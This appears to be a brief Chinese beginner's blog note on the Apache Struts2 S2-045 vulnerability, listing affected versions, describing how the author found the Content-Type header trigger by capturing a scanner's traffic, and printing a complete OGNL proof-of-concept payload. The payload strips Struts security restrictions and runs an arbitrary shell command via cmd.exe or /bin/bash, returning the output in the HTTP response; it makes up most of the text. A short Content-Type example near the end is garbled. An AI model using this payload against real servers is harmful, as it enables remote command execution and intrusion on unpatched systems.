S2-045
影响版本:Struts 2.3.5 - Struts 2.3.31,Struts 2.5 - Struts 2.5.10
首先是用struts2检测工具检测是否存在漏洞,然后先对原网页抓包记录,然后在对检测工具抓包,得到:
很明显, S2-045 漏洞触发点为Content-Type HTTP头字段poc为:
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='pwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
content-Type格式:
content-Type: Content-Type: text/html; charset=utf-8Content-Type: multipart/form-data; boundary=something
Content-Type告诉客户端发送的内容类型。
若有错误,还望各位大佬指正。。
(文章只是我这个小白记录作用)